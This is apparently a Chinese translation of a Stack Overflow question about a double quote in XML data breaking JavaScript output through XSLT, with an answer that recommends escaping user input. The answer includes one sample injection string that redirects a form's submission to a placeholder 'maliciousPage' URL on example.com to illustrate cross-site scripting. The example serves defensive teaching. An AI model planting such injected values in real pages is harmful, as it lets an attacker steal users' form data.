javascript - XML用双引号存储文本数据,JavaScript在检索数据时崩溃

标签 javascript xml xpath xslt

我不确定我是否能够正确解释这一点,因为这对我来说可能很难解释,但我会尝试。

我有一个 Web 表单,它将数据发布到 XML 文件,然后在另一个网页中显示数据。

一切正常,但是当用户输入双引号字符时,网页尝试显示数据时,由于双引号符号而崩溃,这是有道理的,因为它可能被视为未完成的字符串通过 JavaScript。

还有一点值得一提,那就是问题只发生在表单的一部分上,其中包含一个表,其中填充了一个基于 XML 中的元素集合创建的数组,然后使用innerHTML 将文本从数组插入到表格单元格中。

例如。

XML

<node1>
  <node2> test "1</node2>
</node1>

<script type="text/javascript">
  alert("<xsl:value-of select="node1/node2">");
<script>

这行不通,也许如果我找到任何解决方法,我就可以解决其余问题。

抱歉,如果我没有很好地解释自己,我不知道如何更好地揭露这个问题。如果您需要的话,我很乐意回答任何问题。

请注意,如果你们有任何答案,它必须是 javascript,而不是 jquery。

谢谢。

最佳答案

始终转义用户输入。您的错误是可能发生的问题的一个良性示例,但这意味着您也可能容易受到code injection attack的影响。 ,如cross-site scripting .

逃脱

这是what Wikipedia has to say about escaping 。这是一个过于简单的示例来说明其含义。假设您有以下 JavaScript,并且我没有在其中犯下任何愚蠢的错误(因为我刚刚编写了它):

function unsafeAlert() {
    alert("You shouldn't be doing this!\n" + document.getElementsById('userInputField').value);
}

如果用户输入类似于 ') 的内容,会发生什么情况? document.forms[0].action="http://www.example.com/maliciousPage.html";document.forms[0].submit();"?突然,您的警报导致表单( (可能包含敏感数据)提交到攻击者的页面。这显然是一个问题。在尝试警告它之前,您应该在某个地方有一些库代码来转义该值。这会执行诸如在引号前面添加斜杠之类的操作,另外,您可能不应该尝试自己编写此类代码,因为转义逻辑总是比您想象的至少困难 10 倍。您绝对应该从某个库中获取这样的逻辑。

关于javascript - XML用双引号存储文本数据,JavaScript在检索数据时崩溃,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2280305/

相关文章:

xml - 如果元素的名称及其属性等于某个值,XSL 获取该元素

javascript - 谷歌地图 API v3.30 : Using forEach on a declared data layer

javascript - MySQL 存储过程使用express.js 返回未定义

python - 在 ElementTree 中检查 XML 元素是否有子元素

html - 哪个HTML元素具有特定类型的子级(例如标记)数量最多?

xml - 使用 xmllint 从 XML 文件中提取属性

javascript - 每个 session 只运行一次 Jquery slideDown

javascript - 如何将url中的变量php获取到javascript

java - 节点列表未填充

java - Android 应用程序教程 content.xml 和 activity.xml 文件与教程有不同的代码